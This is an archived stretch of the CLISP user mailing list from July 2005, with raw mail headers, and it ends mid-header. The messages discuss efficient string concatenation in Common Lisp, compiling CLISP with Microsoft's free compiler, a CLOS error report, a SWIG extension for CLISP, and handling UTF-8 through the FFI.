Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 11 09:35:15 2005 X-Original-Date: Mon, 11 Jul 2005 12:33:22 -0400 > * Marco Antoniotti [2005-07-11 12:02:03 -0400]: > >> here is the correct (and portable) solution: >> (defun concat-all (strings) >> (let ((res (make-string (reduce #'+ strings :key #'length))) (start 0)) >> (dolist (s strings) >> (replace res s :start1 start) >> (incf start (length s))) >> res)) > > I have not tested it in CLISP, but how would the following behave in it? > > (defun concat-all (&rest strings) > (with-output-to-string (out) > (format out "~{~A~}" strings))) > > or > > (defun concat-all (&rest strings) > (with-output-to-string (out) > (dolist (s strings) > (princ s out)))) they are - identical to each other wrt space (the second is better inlined), - much better than the standard bad solution, - marginally worse than my optimal solution because WITH-OUTPUT-TO-STRING does not allocate the right amount of space right away, instead it allocates an expandable string that is doubled in size when an extension is needed. i.e., the optimal solution produces no garbage, the standard bad solution produces O(n^2) bytes of garbage (consider n strings of length 1 each) and WITH-OUTPUT-TO-STRING produces O(log(n)) bytes of garbage. -- Sam Steingold (http://www.podval.org/~sds) running w2k Illiterate? Write today, for free help! From sds@gnu.org Mon Jul 11 09:47:33 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ds1RN-0001Am-14 for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 09:47:33 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1Ds1RL-0004IT-GV for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 09:47:33 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6BGlJTe006215; Mon, 11 Jul 2005 12:47:20 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Jack D. Unrue" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42D164DB.3080507@earthlink.net> (Jack D. Unrue's message of "Sun, 10 Jul 2005 12:11:39 -0600") References: <42D164DB.3080507@earthlink.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Jack D. Unrue" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: tip for compiling clisp with the MS Platform SDK / free C++ compiler Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 11 09:49:15 2005 X-Original-Date: Mon, 11 Jul 2005 12:46:42 -0400 > * Jack D. Unrue [2005-07-10 12:11:39 -0600]: > > I don't have MS Visual Studio, instead I've installed the Platform SDK > and Microsoft's free C++ compiler. note that the MINGW version of CLISP is bother faster and has more features than the MSC version. > One of the missing components when you go this route is 'editbin.exe' > which is a bit of a problem for the gcc-cccp makefile. However, there > is an equivalent option for setting stack size that can be specified > directly on the cl command-line. Thus, line 14 of > utils/gcc-cccp/Makefile.msvc becomes > > $(CC) cccp.obj cexp.obj version.obj obstack.obj $(ALLOCA) /Fecccp > /F3145728 > > and the subsequent line to execute editbin can be commented out. interesting. msvc6 also has this option. Jay Kint said that msvc7 does not need editbin at all. how about msvc5 and msvc4? does anyone have them? > Also, neither the Platform SDK nor the free compiler installation > provides the 'lib' utility. does CLISP need it? -- Sam Steingold (http://www.podval.org/~sds) running w2k Single tasking: Just Say No. From sds@gnu.org Mon Jul 11 10:06:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ds1jV-0002Mf-E0 for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 10:06:17 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1Ds1jQ-00083F-Dy for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 10:06:17 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6BH5obG009050; Mon, 11 Jul 2005 13:05:58 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050709164444.C392D10FBF3@thalassa.informatimago.com> (Pascal Bourguignon's message of "Sat, 9 Jul 2005 18:44:44 +0200 (CEST)") References: <20050709164444.C392D10FBF3@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: obscure clos error: Some methods have been removed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 11 10:07:32 2005 X-Original-Date: Mon, 11 Jul 2005 13:05:13 -0400 > * Pascal Bourguignon [2005-07-09 18:44:44 +0200]: > > When trying to asdf load mcclim, I get this error while loading panes.fas: > > *** - CLOS:SPECIALIZER-DIRECT-GENERIC-FUNCTIONS: Some methods have been removed > from their generic function, but the list in the # > specializer was not updated. > > I don't see anything MOP related or deleting or removing methods in > panes.lisp. What does this error mean? probably a bug in CLISP. please supply the stack trace (:bt) and a small test case. thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp: it's here to save your butt. From jdunrue@earthlink.net Mon Jul 11 20:45:24 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsBhz-0000NZ-7z for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 20:45:23 -0700 Received: from pop-tawny.atl.sa.earthlink.net ([207.69.195.67]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1DsBhz-0002uW-0n for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 20:45:23 -0700 Received: from cpe-66-87-211-86.co.sprintbbd.net ([66.87.211.86] helo=[192.168.0.4]) by pop-tawny.atl.sa.earthlink.net with esmtp (Exim 3.36 #10) id 1DsBhx-0001q9-00 for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 23:45:21 -0400 Message-ID: <42D33CD3.6040005@earthlink.net> From: "Jack D. Unrue" User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: tip for compiling clisp with the MS Platform SDK / free C++ compiler References: <42D164DB.3080507@earthlink.net> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 11 20:47:24 2005 X-Original-Date: Mon, 11 Jul 2005 21:45:23 -0600 Sam Steingold wrote: >>* Jack D. Unrue [2005-07-10 12:11:39 -0600]: >> >>I don't have MS Visual Studio, instead I've installed the Platform SDK >>and Microsoft's free C++ compiler. >> >> > >note that the MINGW version of CLISP is bother faster and has more >features than the MSC version. > > Thanks, I'll certainly try that. > > >>One of the missing components when you go this route is 'editbin.exe' >>which is a bit of a problem for the gcc-cccp makefile. However, there >>is an equivalent option for setting stack size that can be specified >>directly on the cl command-line. Thus, line 14 of >>utils/gcc-cccp/Makefile.msvc becomes >> >> $(CC) cccp.obj cexp.obj version.obj obstack.obj $(ALLOCA) /Fecccp >> /F3145728 >> >>and the subsequent line to execute editbin can be commented out. >> >> > >interesting. >msvc6 also has this option. >Jay Kint said that msvc7 does not need editbin at all. > > >how about msvc5 and msvc4? >does anyone have them? > > >>Also, neither the Platform SDK nor the free compiler installation >>provides the 'lib' utility. >> >> > >does CLISP need it? > > > .lib files are built by the following: ./ffcall/avcall/Makefile.msvc ./ffcall/callback/Makefile.msvc ./ffcall/callback/trampoline_r/Makefile.msvc ./ffcall/callback/vacall_r/Makefile.msvc ./ffcall/Makefile.msvc ./ffcall/trampoline/Makefile.msvc ./ffcall/vacall/Makefile.msvc ./libcharset/lib/Makefile.msvc ./libcharset/Makefile.msvc Replacing the definition of AR in those makefiles to be AR = link /lib is sufficient for the version of link I have (7.10.3077), but I don't have older versions to test. -- Jack From lisp-clisp-list@m.gmane.org Mon Jul 11 23:15:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsE3N-000696-76 for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 23:15:37 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1DsE3J-00046Z-Az for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 23:15:37 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1DsE31-00077C-6I for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 08:15:15 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 12 Jul 2005 08:15:15 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 12 Jul 2005 08:15:15 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 32 Message-ID: References: <42B1BFE6.3090502@x-ray.at> <42B304F1.5090600@ele.puc-rio.br> <42CCC5EC.6080703@gmx.net> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:pkqlivmxYwfOSwF9Jp8V/TgAFKo= X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.8 HELO_DYNAMIC_IPADDR Relay HELO'd using suspicious hostname (IP addr 1) -1.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Lisp and Win32 GUIs ( wxWidgets) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 11 23:16:54 2005 X-Original-Date: Mon, 11 Jul 2005 23:14:56 -0700 Sam Steingold writes: >> * Surendra Singhi [2005-07-07 20:57:46 -0700]: >> >> Or, I would rather suggest going with Swig >> (http://www.swig.org/). Currently swig can be used for generating >> Allegro CL code, but it should not be hard to extend it to generate >> clisp. > > https://sourceforge.net/tracker/?func=detail&aid=429122&group_id=1645&atid=351645 > So, far I have written an extension which is able to generate semi-useful clisp code, the generated code must be checked and if necessary edited by hand before it is used. There is also an example showing some of the stuff which it can and cannot do. I have made the entire swig package with complete set of changes down-loadable. It should compile without any problem. http://www.public.asu.edu/~sksinghi/swig-clisp.html cheers. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.htm Great wits are sure to madness near allied, And thin partitions do their bounds divide. (John Dryden, Absalom and Achitophel, 1681) From kavenchuk@jenty.by Tue Jul 12 00:05:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsEpL-000889-Go for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 00:05:11 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1DsEpJ-0006PA-GQ for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 00:05:11 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id MCTAJHCP; Tue, 12 Jul 2005 10:05:28 +0300 Message-ID: <42D36BE5.8080704@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: iconv Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 12 00:08:03 2005 X-Original-Date: Tue, 12 Jul 2005 10:06:13 +0300 Sam Steingold wrote: >>Function "iconv" was necessary. >>First has written so: >> >>(DEFUN ICONV (s from to) >> (EXT:CONVERT-STRING-FROM-BYTES >> (EXT:CONVERT-STRING-TO-BYTES s to) from)) > > > if you need this, you are doing something wrong. > if you have a string which has been incorrectly encoded, you need to > modify the stream format or something - look at the source of the > string. Tcl library (through FFI) get and put strings in UTF-8. I should convert my strings to UTF-8 and convert the received result from UTF-8. Or I should write all sourcs in UTF-8 and run clisp with "-E UTF-8"? >>Work, but if error returns nothing. > > > it should signal an error. Yes, but I want receive result together with flag of error. > again, if you need this for anything but basic exploration (e.g., > figuring out what the server feeds you with) you are doing something > wrong. > actually, this is even more wrong than the first version because of the > character boundary issues. > > that said, you are making a very common mistake when people collect into > a string. > e.g., you essentially write > (defun concat-all (strings) > (let ((res "")) > (dolist (s strings) > (setq res (string-concat res s))) > res)) > thus you allocate ~n^2 space for the result size of n. > here is the correct (and portable) solution: > (defun concat-all (strings) > (let ((res (make-string (reduce #'+ strings :key #'length))) (start > 0)) > (dolist (s strings) > (replace res s :start1 start) > (incf start (length s))) > res)) In my case at converting string to UTF-8 from other encoding the resulting string can be greater size. Thanks! -- WBR, Yaroslav Kavenchuk. From pjb@informatimago.com Tue Jul 12 03:18:09 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsHq5-0008Qg-84 for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 03:18:09 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1DsHq2-0007av-R9 for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 03:18:09 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 8D3DE585BE; Tue, 12 Jul 2005 12:17:58 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 8BBAF58344; Tue, 12 Jul 2005 12:17:54 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id EAE6610FBF3; Tue, 12 Jul 2005 12:17:53 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17107.39121.618679.467614@thalassa.informatimago.com> To: Yaroslav Kavenchuk Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: iconv In-Reply-To: <42D36BE5.8080704@jenty.by> References: <42D36BE5.8080704@jenty.by> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-99.8 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 12 03:20:04 2005 X-Original-Date: Tue, 12 Jul 2005 12:17:53 +0200 Yaroslav Kavenchuk writes: > Sam Steingold wrote: > > >>Function "iconv" was necessary. > >>First has written so: > >> > >>(DEFUN ICONV (s from to) > >> (EXT:CONVERT-STRING-FROM-BYTES > >> (EXT:CONVERT-STRING-TO-BYTES s to) from)) > > > > > > if you need this, you are doing something wrong. > > if you have a string which has been incorrectly encoded, you need to > > modify the stream format or something - look at the source of the > > string. > > Tcl library (through FFI) get and put strings in UTF-8. I should convert > my strings to UTF-8 and convert the received result from UTF-8. Or I > should write all sourcs in UTF-8 and run clisp with "-E UTF-8"? Here is your error! It sends you UTF-8 bytes and you put them into a string! You shoud instead decode them as a UTF-8 byte vector! The easiest way is to set *FOREIGN-ENCODING* to charset:utf-8 (setf custom:*FOREIGN-ENCODING* charset:utf-8) so the FFI does it for you automatically. Otherwise, if some functions returned utf-8 but some others returned other encodings, you'd have to substitute (ffi:array ffi:uint8) for ffi:string and use ext:convert-string-from-bytes with the corresponding encoding around each ffi call. -- __Pascal Bourguignon__ http://www.informatimago.com/ Until real software engineering is developed, the next best practice is to develop with a dynamic system that has extreme late binding in all aspects. The first system to really do this in an important way is Lisp. -- Alan Kay From kavenchuk@jenty.by Tue Jul 12 03:36:38 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsI7s-0000Yh-Iz for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 03:36:32 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1DsI7q-0001Q9-Um for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 03:36:32 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id MCTAJH40; Tue, 12 Jul 2005 13:36:45 +0300 Message-ID: <42D39D69.70904@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: pjb@informatimago.com CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: iconv References: <17107.39121.618679.467614@thalassa.informatimago.com> In-Reply-To: <17107.39121.618679.467614@thalassa.informatimago.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 12 03:38:15 2005 X-Original-Date: Tue, 12 Jul 2005 13:37:29 +0300 Pascal Bourguignon wrote: >>>>Function "iconv" was necessary. >>>>First has written so: >>>> >>>>(DEFUN ICONV (s from to) >>>> (EXT:CONVERT-STRING-FROM-BYTES >>>> (EXT:CONVERT-STRING-TO-BYTES s to) from)) >>> >>> >>>if you need this, you are doing something wrong. >>>if you have a string which has been incorrectly encoded, you need to >>>modify the stream format or something - look at the source of the >>>string. >> >>Tcl library (through FFI) get and put strings in UTF-8. I should > > convert > >>my strings to UTF-8 and convert the received result from UTF-8. Or I >>should write all sourcs in UTF-8 and run clisp with "-E UTF-8"? > > > Here is your error! It sends you UTF-8 bytes and you put them into a > string! > You shoud instead decode them as a UTF-8 byte vector! > > > The easiest way is to set *FOREIGN-ENCODING* to charset:utf-8 > > (setf custom:*FOREIGN-ENCODING* charset:utf-8) > > so the FFI does it for you automatically. > > > Otherwise, if some functions returned utf-8 but some others returned > other encodings, you'd have to substitute (ffi:array ffi:uint8) for > ffi:string and use ext:convert-string-from-bytes with the > corresponding encoding around each ffi call. > Oops! Sorry and many thanks! I have not noticed the elephant... :( It is necessary save the current custom:*FOREIGN-ENCODING* and restore after use? -- WBR, Yaroslav Kavenchuk. From pjb@informatimago.com Tue Jul 12 04:25:33 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsItI-0002YH-Nd for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 04:25:32 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1DsItE-00046e-UT for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 04:25:32 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 6C07F585BE; Tue, 12 Jul 2005 13:25:19 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id DD23D58344; Tue, 12 Jul 2005 13:25:14 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 5FF7910FBF3; Tue, 12 Jul 2005 13:25:13 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17107.43161.331952.400286@thalassa.informatimago.com> To: Yaroslav Kavenchuk Cc: pjb@informatimago.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: iconv In-Reply-To: <42D39D69.70904@jenty.by> References: <17107.39121.618679.467614@thalassa.informatimago.com> <42D39D69.70904@jenty.by> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-99.8 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: 